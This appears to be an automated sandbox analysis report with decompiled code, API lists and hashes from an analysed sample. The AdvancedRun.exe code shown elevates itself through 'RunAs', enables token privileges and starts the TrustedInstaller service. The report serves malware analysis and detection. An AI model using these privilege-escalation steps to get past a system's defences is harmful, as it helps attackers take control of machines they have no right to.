Opcode ID: af5d5c35dd403d4102c1b3f32891d2091235326f5fafee28af4a04cc72ca2da8
Instruction ID: 4e7065d808ba5e1f70b07082861d6c104ec284cd9d18a3f5d9800dcad3e178ba
Opcode Fuzzy Hash: af5d5c35dd403d4102c1b3f32891d2091235326f5fafee28af4a04cc72ca2da8
Instruction Fuzzy Hash: 1621AC7460A2059BC7009E95C4C1EABF3EDEB89764B00425EED548BE51FB30EA85CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6C08F2B7, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63COMMON

Download Yara Rule

APIs

_wcsicmp.1105(?,?,-00000054,-00000054,00000000), ref: 6C08F2FB
DbgPrint.1105(AVRF: pid 0x%X: found dll descriptor for `%ws' with verified exports ,?,?,-00000054,-00000054,00000000), ref: 6C08F323

Strings

AVRF: pid 0x%X: found dll descriptor for `%ws' with verified exports , xrefs: 6C08F31E

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: Print_wcsicmp
String ID: AVRF: pid 0x%X: found dll descriptor for `%ws' with verified exports
API String ID: 2655330621-555053354
Opcode ID: b0443739c39de97615066d3ade739eecd749488c7520424a5ce978e0f1653288
Instruction ID: c0622cf7c8333bfecaba686bda82d9eb7287017827759991f0110fc19328a67a
Opcode Fuzzy Hash: b0443739c39de97615066d3ade739eecd749488c7520424a5ce978e0f1653288
Instruction Fuzzy Hash: A421B432906208EFDF11CE64D98079DB7F9FF85328F258299CA6427A51D731AE81DB84

Uniqueness

Uniqueness Score: -1.00%

Function 6C00E2F0, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63COMMON

Download Yara Rule

APIs

RtlInitUnicodeString.1105(?,MUI,00000000,0000EEEE,?,00000000,?,00000000,0000EEEE), ref: 6C00E336
RtlLCIDToCultureName.1105(00000000,0000EEEE,00000000,0000EEEE,?,00000000,?,00000000,0000EEEE), ref: 6C0652F4

Strings

MUI, xrefs: 6C00E331

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: CultureInitNameStringUnicode
String ID: MUI
API String ID: 1955113178-1339004836
Opcode ID: 564e7d9951a24a9f4ba429caaa3326b2281edc538d1ab38469efc78b05128611
Instruction ID: fe64661362e7ed1dfad1e1a71007ca979c5d33ee5c31619e039ea8d4a1122aa3
Opcode Fuzzy Hash: 564e7d9951a24a9f4ba429caaa3326b2281edc538d1ab38469efc78b05128611
Instruction Fuzzy Hash: 7811D329708119A7E7009FA58408FAEBBF5FF84B59B42C15EACA4ABF04E730D951C7D0

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: AdvancedRun.exe PID: 5988 Parent PID: 6468 AdvancedRun.exeCOMMON

Executed Functions

Function 004095FD, Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 120
processlibraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E004095FD(void* __edx, void* __eflags, intOrPtr _a4) {
				void* _v8;
				void* _v12;
				char _v16;
				char _v24;
				char _v32;
				char _v40;
				char _v48;
				intOrPtr _v52;
				char _v576;
				long _v580;
				intOrPtr _v1112;
				long _v1128;
				void _v1132;
				void* _v1136;
				void _v1658;
				char _v1660;
				void* __edi;
				void* __esi;
				void* _t41;
				long _t49;
				void* _t50;
				intOrPtr* _t66;
				struct HINSTANCE__* _t68;
				void* _t71;
				void* _t83;
				void* _t84;
				void* _t85;

				_t78 = _a4;
				E004099D4(_a4 + 0x28);
				_t41 = CreateToolhelp32Snapshot(2, 0); // executed
				_v12 = _t41;
				memset( &_v1132, 0, 0x228);
				_t84 = _t83 + 0xc;
				_v1136 = 0x22c;
				Process32FirstW(_v12,  &_v1136); // executed
				while(Process32NextW(_v12,  &_v1136) != 0) {
					E004090AF( &_v580);
					_t49 = _v1128;
					_v580 = _t49;
					_v52 = _v1112;
					_t50 = OpenProcess(0x410, 0, _t49);
					_v8 = _t50;
					if(_t50 != 0) {
						L4:
						_v1660 = 0;
						memset( &_v1658, 0, 0x208);
						_t85 = _t84 + 0xc;
						E004098F9(_t78, _v8,  &_v1660);
						if(_v1660 != 0) {
							L10:
							E0040920A( &_v576,  &_v1660);
							E00409555(_v8,  &_v48,  &_v40,  &_v32,  &_v24); // executed
							_t84 = _t85 + 0x14;
							CloseHandle(_v8);
							_t78 = _a4;
							L11:
							E004099ED(_t78 + 0x28,  &_v580);
							continue;
						}
						_v16 = 0x104;
						if( *0x41c8e0 == 0) {
							_t68 = GetModuleHandleW(L"kernel32.dll");
							if(_t68 != 0) {
								 *0x41c8e0 = 1;
								 *0x41c8e4 = GetProcAddress(_t68, "QueryFullProcessImageNameW");
							}
						}
						_t66 =  *0x41c8e4;
						if(_t66 != 0) {
							 *_t66(_v8, 0,  &_v1660,  &_v16); // executed
						}
						goto L10;
					}
					if( *((intOrPtr*)(E00404BAF() + 4)) <= 5) {
						goto L11;
					}
					_t71 = OpenProcess(0x1000, 0, _v580);
					_v8 = _t71;
					if(_t71 == 0) {
						goto L11;
					}
					goto L4;
				}
				return CloseHandle(_v12);
			}

0x00409609
0x0040960f
0x00409619
0x00409623
0x0040962e
0x00409633
0x00409640
0x0040964a
0x00409782
0x0040965a
0x0040965f
0x00409678
0x0040967e
0x00409681
0x00409685
0x00409688
0x004096b2
0x004096bf
0x004096c6
0x004096cb
0x004096da
0x004096e6
0x0040973b
0x00409747
0x0040975f
0x00409764
0x0040976a
0x00409770
0x00409773
0x0040977d
0x00000000
0x0040977d
0x004096ee
0x004096f5
0x004096fc
0x00409704
0x0040970c
0x0040971c
0x0040971c
0x00409704
0x00409721
0x00409728
0x00409739
0x00409739
0x00000000
0x00409728
0x00409693
0x00000000
0x00000000
0x004096a5
0x004096a9
0x004096ac
0x00000000
0x00000000
0x00000000
0x004096ac
0x004097a6

APIs

Part of subcall function 004099D4: free.MSVCRT(00000000,00409614,?,?,00000000), ref: 004099DB

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00409619
memset.MSVCRT ref: 0040962E
Process32FirstW.KERNEL32(?,?), ref: 0040964A
OpenProcess.KERNEL32(00000410,00000000,?,?,?,00000000), ref: 00409681
OpenProcess.KERNEL32(00001000,00000000,?), ref: 004096A5
memset.MSVCRT ref: 004096C6
GetModuleHandleW.KERNEL32(kernel32.dll,00000000,?), ref: 004096FC
GetProcAddress.KERNEL32(00000000,QueryFullProcessImageNameW), ref: 00409716
QueryFullProcessImageNameW.KERNELBASE(00000000,00000000,?,00000104,00000000,?), ref: 00409739
CloseHandle.KERNEL32(00000000,?,?,?,00000000,?), ref: 0040976A
Process32NextW.KERNEL32(?,0000022C), ref: 0040978C
CloseHandle.KERNEL32(?,?,0000022C,?,?,?,?,00000000,?), ref: 0040979C

Strings

kernel32.dll, xrefs: 004096F7
QueryFullProcessImageNameW, xrefs: 00409706

Memory Dump Source

Source File: 00000019.00000002.527205209.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.527192255.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527231593.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527253433.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.527271576.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: HandleProcess$CloseOpenProcess32memset$AddressCreateFirstFullImageModuleNameNextProcQuerySnapshotToolhelp32free
String ID: QueryFullProcessImageNameW$kernel32.dll
API String ID: 239888749-1740548384
Opcode ID: 93ba788d12a5409cd6757bb7493d38e70eb600f2f73dc0c750eaff65fc83c0f1
Instruction ID: d99fb1acad5946e2155d0e2cb4f7ec9e68cfc0f9061ce230986eeb1e4b65db1d
Opcode Fuzzy Hash: 93ba788d12a5409cd6757bb7493d38e70eb600f2f73dc0c750eaff65fc83c0f1
Instruction Fuzzy Hash: 10413DB2900118EEDB10EFA0DCC5AEEB7B9EB44348F1041BAE609B3191D7359E85DF59

Uniqueness

Uniqueness Score: -1.00%

Function 00401C26, Relevance: 22.8, APIs: 9, Strings: 4, Instructions: 72
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E00401C26(long _a4) {
				struct _SHELLEXECUTEINFOW _v68;
				void _v582;
				char _v584;
				void _v1110;
				char _v1112;
				long _t23;
				int _t36;
				int _t41;
				void* _t43;
				long _t44;

				_t44 = 0;
				_t23 = GetCurrentProcessId();
				_v584 = 0;
				memset( &_v582, 0, 0x1fe);
				_v1112 = 0;
				memset( &_v1110, 0, 0x208);
				E00404AD9( &_v1112);
				_push(_t23);
				_push(0);
				_push(_a4);
				_push(L"/SpecialRun %I64x %d");
				_push(0xff);
				_push( &_v584);
				L0040B1EC();
				memset( &(_v68.fMask), 0, 0x38);
				_v68.lpFile =  &_v1112;
				_v68.lpParameters =  &_v584;
				_v68.cbSize = 0x3c;
				_v68.lpVerb = L"RunAs";
				_v68.fMask = 0x40;
				_v68.nShow = 5;
				_t36 = ShellExecuteExW( &_v68); // executed
				_t43 = _v68.hProcess;
				if(_t36 == 0) {
					_t44 = GetLastError();
				} else {
					WaitForSingleObject(_t43, 0x5dc);
					_a4 = 0;
					_t41 = GetExitCodeProcess(_t43,  &_a4); // executed
					if(_t41 != 0 && _a4 != 0x103) {
						_t44 = _a4;
					}
				}
				return _t44;
			}

0x00401c31
0x00401c33
0x00401c48
0x00401c4f
0x00401c61
0x00401c68
0x00401c74
0x00401c79
0x00401c7a
0x00401c7b
0x00401c84
0x00401c89
0x00401c8e
0x00401c8f
0x00401c9b
0x00401ca6
0x00401caf
0x00401cb9
0x00401cc0
0x00401cc7
0x00401cce
0x00401cd5
0x00401cdd
0x00401ce0
0x00401d14
0x00401ce2
0x00401ce8
0x00401cf3
0x00401cf6
0x00401cfe
0x00401d09
0x00401d09
0x00401cfe
0x00401d1b

APIs

GetCurrentProcessId.KERNEL32(004101D8,?), ref: 00401C33
memset.MSVCRT ref: 00401C4F
memset.MSVCRT ref: 00401C68

Part of subcall function 00404AD9: GetModuleFileNameW.KERNEL32(00000000,e/@,00000104,00402F65,00000000,?,?,00000000), ref: 00404AE4

_snwprintf.MSVCRT ref: 00401C8F
memset.MSVCRT ref: 00401C9B
ShellExecuteExW.SHELL32(?), ref: 00401CD5
WaitForSingleObject.KERNEL32(?,000005DC), ref: 00401CE8
GetExitCodeProcess.KERNELBASE ref: 00401CF6
GetLastError.KERNEL32 ref: 00401D0E

Strings

RunAs, xrefs: 00401CC0
/SpecialRun %I64x %d, xrefs: 00401C84
<, xrefs: 00401CB9
@, xrefs: 00401CC7

Memory Dump Source

Source File: 00000019.00000002.527205209.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.527192255.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527231593.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527253433.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.527271576.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: memset$Process$CodeCurrentErrorExecuteExitFileLastModuleNameObjectShellSingleWait_snwprintf
String ID: /SpecialRun %I64x %d$<$@$RunAs
API String ID: 903100921-3385179869
Opcode ID: b1512c014bb39f996462de76d08949c278b93179518c0e0ab6201644cc20f86b
Instruction ID: 2715f163b7cd274c39606e2610d12bc00880993b2534c3bb77a56ee1366ffd0d
Opcode Fuzzy Hash: b1512c014bb39f996462de76d08949c278b93179518c0e0ab6201644cc20f86b
Instruction Fuzzy Hash: FD216D71900118FBDB20DB91CD48ADF7BBCEF44744F004176F608B6291D778AA84CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 00408FC9, Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 63
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00408FC9(struct HINSTANCE__** __eax, void* __eflags, WCHAR* _a4) {
				void* _v8;
				intOrPtr _v12;
				struct _TOKEN_PRIVILEGES _v24;
				void* __esi;
				_Unknown_base(*)()* _t16;
				_Unknown_base(*)()* _t18;
				long _t19;
				_Unknown_base(*)()* _t22;
				_Unknown_base(*)()* _t24;
				struct HINSTANCE__** _t35;
				void* _t37;

				_t37 = __eflags;
				_t35 = __eax;
				if(E00408F92(_t35, _t37, GetCurrentProcess(), 0x28,  &_v8) == 0) {
					return GetLastError();
				}
				_t16 = E00408F72(_t35);
				__eflags = _t16;
				if(_t16 != 0) {
					_t24 = GetProcAddress( *_t35, "LookupPrivilegeValueW");
					__eflags = _t24;
					if(_t24 != 0) {
						LookupPrivilegeValueW(0, _a4,  &(_v24.Privileges)); // executed
					}
				}
				_v24.PrivilegeCount = 1;
				_v12 = 2;
				_a4 = _v8;
				_t18 = E00408F72(_t35);
				__eflags = _t18;
				if(_t18 != 0) {
					_t22 = GetProcAddress( *_t35, "AdjustTokenPrivileges");
					__eflags = _t22;
					if(_t22 != 0) {
						AdjustTokenPrivileges(_a4, 0,  &_v24, 0, 0, 0); // executed
					}
				}
				_t19 = GetLastError();
				FindCloseChangeNotification(_v8); // executed
				return _t19;
			}

0x00408fc9
0x00408fd0
0x00408fe8
0x00000000
0x00408fea
0x00408ff4
0x00409001
0x00409003
0x0040900c
0x0040900e
0x00409010
0x0040901a
0x0040901a
0x00409010
0x0040901f
0x00409026
0x0040902d
0x00409030
0x00409035
0x00409037
0x00409040
0x00409042
0x00409044
0x00409051
0x00409051
0x00409044
0x00409053
0x0040905e
0x00000000

APIs

GetCurrentProcess.KERNEL32(00000028,00000000), ref: 00408FD8

Part of subcall function 00408F92: GetProcAddress.KERNEL32(00000000,OpenProcessToken), ref: 00408FA8

GetLastError.KERNEL32(00000000), ref: 00408FEA
GetProcAddress.KERNEL32(00000000,LookupPrivilegeValueW), ref: 0040900C
LookupPrivilegeValueW.ADVAPI32(00000000,?,?), ref: 0040901A
GetProcAddress.KERNEL32(00000000,AdjustTokenPrivileges), ref: 00409040
AdjustTokenPrivileges.KERNELBASE(00000002,00000000,00000001,00000000,00000000,00000000), ref: 00409051
GetLastError.KERNEL32(00000000,00000000,00000000), ref: 00409053
FindCloseChangeNotification.KERNELBASE(00000000), ref: 0040905E

Strings

AdjustTokenPrivileges, xrefs: 00409039
LookupPrivilegeValueW, xrefs: 00409005

Memory Dump Source

Source File: 00000019.00000002.527205209.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.527192255.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527231593.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527253433.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.527271576.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressProc$ErrorLast$AdjustChangeCloseCurrentFindLookupNotificationPrivilegePrivilegesProcessTokenValue
String ID: AdjustTokenPrivileges$LookupPrivilegeValueW
API String ID: 616250965-1253513912
Opcode ID: b5b45514c93916933a35bd7cc4bbde3415ee7f14846a7c37f1b94fb4e6c9eb93
Instruction ID: 03a5dc6c67e2a3af6dad2eaf9b7d3d3c38ee31464385454108c093b6d6cde588
Opcode Fuzzy Hash: b5b45514c93916933a35bd7cc4bbde3415ee7f14846a7c37f1b94fb4e6c9eb93
Instruction Fuzzy Hash: 34114F72500105FFEB10AFF4DD859AF76ADAB44384B10413AF541F2192DA789E449B68

Uniqueness

Uniqueness Score: -1.00%

Function 00401306, Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 38
serviceCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00401306(void* _a4) {
				intOrPtr _v28;
				struct _SERVICE_STATUS _v32;
				void* _t5;
				int _t12;
				void* _t14;

				_t12 = 0; // executed
				_t5 = OpenServiceW(_a4, L"TrustedInstaller", 0x34); // executed
				_t14 = _t5;
				if(_t14 != 0) {
					if(QueryServiceStatus(_t14,  &_v32) != 0 && _v28 != 4) {
						_t12 = StartServiceW(_t14, 0, 0);
					}
					CloseServiceHandle(_t14);
				}
				CloseServiceHandle(_a4);
				return _t12;
			}

0x00401319
0x0040131b
0x00401327
0x0040132b
0x0040133a
0x0040134b
0x0040134b
0x0040134e
0x0040134e
0x00401353
0x0040135b

APIs

OpenServiceW.ADVAPI32(00402183,TrustedInstaller,00000034,?,?,00000000,?,?,?,?,?,00402183,00000000), ref: 0040131B
QueryServiceStatus.ADVAPI32(00000000,?,?,?,?,?,?,00402183,00000000), ref: 00401332
StartServiceW.ADVAPI32(00000000,00000000,00000000), ref: 00401345
CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,00402183,00000000), ref: 0040134E
CloseServiceHandle.ADVAPI32(00402183,?,?,?,?,?,00402183,00000000), ref: 00401353

Strings

TrustedInstaller, xrefs: 00401311

Memory Dump Source

Source File: 00000019.00000002.527205209.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.527192255.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527231593.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527253433.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.527271576.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: Service$CloseHandle$OpenQueryStartStatus
String ID: TrustedInstaller
API String ID: 862991418-565535830
Opcode ID: e275db5ffe703eced9a7585420ea8a7e70def606d9c8162886671e7be63d83f8
Instruction ID: 300c39592a487ff017dde1f9aaf4b69bffecac74e3568357a1b40912e0f2caec
Opcode Fuzzy Hash: e275db5ffe703eced9a7585420ea8a7e70def606d9c8162886671e7be63d83f8
Instruction Fuzzy Hash: F9F08275601218FBE7222BE59CC8DAF7A6CDF88794B040132FD01B12A0D674DD05C9F9

Uniqueness

Uniqueness Score: -1.00%

Function 0040A33B, Relevance: 6.1, APIs: 4, Instructions: 55
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040A33B(unsigned int _a4, WCHAR* _a8, WCHAR* _a12) {
				struct HRSRC__* _t12;
				void* _t16;
				void* _t17;
				signed int _t18;
				signed int _t26;
				signed int _t29;
				signed int _t33;
				struct HRSRC__* _t35;
				signed int _t36;

				_t12 = FindResourceW(_a4, _a12, _a8); // executed
				_t35 = _t12;
				if(_t35 != 0) {
					_t33 = SizeofResource(_a4, _t35);
					if(_t33 > 0) {
						_t16 = LoadResource(_a4, _t35);
						if(_t16 != 0) {
							_t17 = LockResource(_t16);
							if(_t17 != 0) {
								_a4 = _t33;
								_t29 = _t33 * _t33;
								_t36 = 0;
								_t7 =  &_a4;
								 *_t7 = _a4 >> 2;
								if( *_t7 != 0) {
									do {
										_t26 =  *(_t17 + _t36 * 4) * _t36 * _t33 * 0x00000011 ^  *(_t17 + _t36 * 4) + _t29;
										_t36 = _t36 + 1;
										_t29 = _t26;
									} while (_t36 < _a4);
								}
								_t18 =  *0x40fa70; // 0xfcb617dc
								 *0x40fa70 = _t18 + _t29 ^ _t33;
							}
						}
					}
				}
				return 1;
			}

0x0040a348
0x0040a34e
0x0040a352
0x0040a35f
0x0040a363
0x0040a369
0x0040a371
0x0040a374
0x0040a37c
0x0040a380
0x0040a383
0x0040a386
0x0040a388
0x0040a388
0x0040a38c
0x0040a38f
0x0040a39f
0x0040a3a1
0x0040a3a5
0x0040a3a5
0x0040a3a9
0x0040a3aa
0x0040a3b3
0x0040a3b3
0x0040a37c
0x0040a371
0x0040a3b8
0x0040a3be

APIs

FindResourceW.KERNELBASE(?,?,?), ref: 0040A348
SizeofResource.KERNEL32(?,00000000), ref: 0040A359
LoadResource.KERNEL32(?,00000000), ref: 0040A369
LockResource.KERNEL32(00000000), ref: 0040A374

Memory Dump Source

Source File: 00000019.00000002.527205209.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.527192255.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527231593.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527253433.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.527271576.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: Resource$FindLoadLockSizeof
String ID:
API String ID: 3473537107-0
Opcode ID: 92957de205b1cf6ef3f394a564c4f395d7934c53f24f2b06f4a74fbc6cc11166
Instruction ID: cffa73b79ff672a66ed03b266e9253c2cf49bd0e4e2f0a3a12bdb4b298abf715
Opcode Fuzzy Hash: 92957de205b1cf6ef3f394a564c4f395d7934c53f24f2b06f4a74fbc6cc11166
Instruction Fuzzy Hash: 1101C032700315ABCB194FA5DD8995BBFAEFB852913088036ED09EA2A1D730C811CA88

Uniqueness

Uniqueness Score: -1.00%

Function 004022D5, Relevance: 61.7, APIs: 25, Strings: 10, Instructions: 435
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E004022D5(void* __ecx, void* __edx, void* __eflags, long _a4, long _a8) {
				WCHAR* _v8;
				signed int _v12;
				int _v16;
				int _v20;
				char* _v24;
				int _v28;
				intOrPtr _v32;
				int _v36;
				int _v40;
				char _v44;
				void* _v56;
				int _v60;
				char _v92;
				void _v122;
				int _v124;
				short _v148;
				signed int _v152;
				intOrPtr _v168;
				intOrPtr _v172;
				intOrPtr _v176;
				intOrPtr _v180;
				void _v192;
				char _v196;
				char _v228;
				void _v258;
				int _v260;
				void _v786;
				short _v788;
				void _v1314;
				short _v1316;
				void _v1842;
				short _v1844;
				void _v18234;
				short _v18236;
				char _v83772;
				void* __ebx;
				void* __edi;
				void* __esi;
				short* _t174;
				short _t175;
				signed int _t176;
				short _t177;
				short _t178;
				int _t184;
				signed int _t187;
				intOrPtr _t207;
				intOrPtr _t219;
				int* _t252;
				int* _t253;
				int* _t266;
				int* _t267;
				wchar_t* _t270;
				int _t286;
				void* _t292;
				void* _t304;
				WCHAR* _t308;
				WCHAR* _t310;
				intOrPtr* _t311;
				int _t312;
				WCHAR* _t315;
				void* _t325;
				void* _t328;

				_t304 = __edx;
				E0040B550(0x1473c, __ecx);
				_t286 = 0;
				 *_a4 = 0;
				_v12 = 0;
				_v16 = 0;
				_v20 = 0;
				memset( &_v192, 0, 0x40);
				_v60 = 0;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_v24 = 0;
				_v40 = 0;
				_v28 = 0;
				_v36 = 0;
				_v32 = 0x100;
				_v44 = 0;
				_v1316 = 0;
				memset( &_v1314, 0, 0x208);
				_v788 = 0;
				memset( &_v786, 0, 0x208);
				_t315 = _a8;
				_t328 = _t325 + 0x24;
				_v83772 = 0;
				_v196 = 0x44;
				E00404923(0x104,  &_v788, _t315);
				if(wcschr(_t315, 0x25) != 0) {
					ExpandEnvironmentStringsW(_t315,  &_v788, 0x104);
				}
				if(_t315[0x2668] != _t286 && wcschr( &_v788, 0x5c) == 0) {
					_v8 = _t286;
					_v1844 = _t286;
					memset( &_v1842, _t286, 0x208);
					_t328 = _t328 + 0xc;
					SearchPathW(_t286,  &_v788, _t286, 0x104,  &_v1844,  &_v8);
					if(_v1844 != _t286) {
						E00404923(0x104,  &_v788,  &_v1844);
					}
				}
				_t308 =  &(_t315[0x2106]);
				if( *_t308 == _t286) {
					E00404B5C( &_v1316,  &_v788);
					__eflags = _v1316 - _t286;
					_t315 = _a8;
					_pop(_t292);
					if(_v1316 == _t286) {
						goto L11;
					}
					goto L10;
				} else {
					_v20 = _t308;
					_t270 = wcschr(_t308, 0x25);
					_pop(_t292);
					if(_t270 == 0) {
						L11:
						_t174 =  &(_t315[0x220e]);
						if( *_t174 != 1) {
							_v152 = _v152 | 0x00000001;
							_v148 =  *_t174;
						}
						_t309 = ",";
						if(_t315[0x2210] != _t286 && _t315[0x2212] != _t286) {
							_v260 = _t286;
							memset( &_v258, _t286, 0x3e);
							_v124 = _t286;
							memset( &_v122, _t286, 0x3e);
							_v8 = _t286;
							E004052F3( &(_t315[0x2212]), _t292,  &_v260, 0x1f,  &_v8, ",");
							E004052F3( &(_t315[0x2212]), _t292,  &_v124, 0x1f,  &_v8, ",");
							_v152 = _v152 | 0x00000004;
							_t266 =  &_v260;
							_push(_t266);
							L0040B1F8();
							_v180 = _t266;
							_t328 = _t328 + 0x3c;
							_t267 =  &_v124;
							L0040B1F8();
							_t292 = _t267;
							_v176 = _t267;
						}
						if(_t315[0x2232] != _t286 && _t315[0x2234] != _t286) {
							_v260 = _t286;
							memset( &_v258, _t286, 0x3e);
							_v124 = _t286;
							memset( &_v122, _t286, 0x3e);
							_v8 = _t286;
							E004052F3( &(_t315[0x2234]), _t292,  &_v260, 0x1f,  &_v8, _t309);
							E004052F3( &(_t315[0x2234]), _t292,  &_v124, 0x1f,  &_v8, _t309);
							_v152 = _v152 | 0x00000002;
							_t252 =  &_v260;
							_push(_t252);
							L0040B1F8();
							_v172 = _t252;
							_t328 = _t328 + 0x3c;
							_t253 =  &_v124;
							_push(_t253);
							L0040B1F8();
							_v168 = _t253;
						}
						_t310 =  &(_t315[0x105]);
						if( *_t310 != _t286) {
							if(_t315[0x266a] == _t286 || wcschr(_t310, 0x25) == 0) {
								_push(_t310);
							} else {
								_v18236 = _t286;
								memset( &_v18234, _t286, 0x4000);
								_t328 = _t328 + 0xc;
								ExpandEnvironmentStringsW(_t310,  &_v18236, 0x2000);
								_push( &_v18236);
							}
							_push( &_v788);
							_push(L"\"%s\" %s");
							_push(0x7fff);
							_push( &_v83772);
							L0040B1EC();
							_v24 =  &_v83772;
						}
						_t175 = _t315[0x220c];
						if(_t175 != 0x20) {
							_v12 = _t175;
						}
						_t311 = _a4;
						if(_t315[0x2254] == 2) {
							E00401D1E(_t311, L"RunAsInvoker");
						}
						_t176 = _t315[0x265c];
						if(_t176 != _t286 && _t176 - 1 <= 0xc) {
							E00401D1E(_t311,  *((intOrPtr*)(0x40f2a0 + _t176 * 4)));
						}
						_t177 = _t315[0x265e];
						if(_t177 != 1) {
							__eflags = _t177 - 2;
							if(_t177 != 2) {
								goto L37;
							}
							_push(L"16BITCOLOR");
							goto L36;
						} else {
							_push(L"256COLOR");
							L36:
							E00401D1E(_t311);
							L37:
							if(_t315[0x2660] == _t286) {
								__eflags = _t315[0x2662] - _t286;
								if(_t315[0x2662] == _t286) {
									__eflags = _t315[0x2664] - _t286;
									if(_t315[0x2664] == _t286) {
										__eflags = _t315[0x2666] - _t286;
										if(_t315[0x2666] == _t286) {
											L46:
											_t178 = _t315[0x2a6e];
											_t358 = _t178 - 3;
											if(_t178 != 3) {
												__eflags = _t178 - 2;
												if(_t178 != 2) {
													__eflags =  *_t311 - _t286;
													if( *_t311 == _t286) {
														_push(_t286);
													} else {
														_push(_t311);
													}
													SetEnvironmentVariableW(L"__COMPAT_LAYER", ??);
													L63:
													_t293 = _t311;
													_t184 = E00401FE6(_t315, _t311, _t304,  &_v788, _v24, _v12, _v16, _v20,  &_v196,  &_v60); // executed
													_t312 = _t184;
													if(_t312 == _t286 && _v60 != _t286) {
														_t363 = _t315[0x266c] - _t286;
														if(_t315[0x266c] != _t286) {
															_t187 = E00401A3F(_t293, _t363,  &(_t315[0x266e]));
															_a4 = _a4 | 0xffffffff;
															_a8 = _t286;
															GetProcessAffinityMask(_v60,  &_a8,  &_a4);
															_t184 = SetProcessAffinityMask(_v60, _a4 & _t187);
														}
													}
													E004055D1(_t184,  &_v44);
													return _t312;
												}
												E00405497( &_v92);
												E00405497( &_v228);
												E0040149F(__eflags,  &_v92);
												E0040135C(E004055EC( &(_t315[0x2a70])), __eflags,  &_v228);
												E00401551( &_v228, _t304, __eflags,  &_v92);
												_t204 = _a4;
												__eflags =  *_a4;
												if(__eflags != 0) {
													E004014E9( &_v92, _t304, __eflags,  &_v92, _t204);
												}
												E00401421( &_v44, _t304,  &_v92, __eflags);
												_t207 = _v28;
												__eflags = _t207;
												_v16 = 0x40c4e8;
												if(_t207 != 0) {
													_v16 = _t207;
												}
												_v12 = _v12 | 0x00000400;
												E004054B9( &_v228);
												E004054B9( &_v92);
												_t286 = 0;
												__eflags = 0;
												L58:
												_t315 = _a8;
												_t311 = _a4;
												goto L63;
											}
											E00405497( &_v92);
											E0040135C(E004055EC( &(_t315[0x2a70])), _t358,  &_v92);
											_t359 =  *_t311 - _t286;
											if( *_t311 != _t286) {
												E004014E9( &_v92, _t304, _t359,  &_v92, _t311);
											}
											E00401421( &_v44, _t304,  &_v92, _t359);
											_t219 = _v28;
											_v16 = 0x40c4e8;
											if(_t219 != _t286) {
												_v16 = _t219;
											}
											_v12 = _v12 | 0x00000400;
											E004054B9( &_v92);
											goto L58;
										}
										_push(L"HIGHDPIAWARE");
										L45:
										E00401D1E(_t311);
										goto L46;
									}
									_push(L"DISABLEDWM");
									goto L45;
								}
								_push(L"DISABLETHEMES");
								goto L45;
							}
							_push(L"640X480");
							goto L45;
						}
					}
					ExpandEnvironmentStringsW(_t308,  &_v1316, 0x104);
					L10:
					_v20 =  &_v1316;
					goto L11;
				}
			}

0x004022d5
0x004022dd
0x004022e7
0x004022ec
0x004022f7
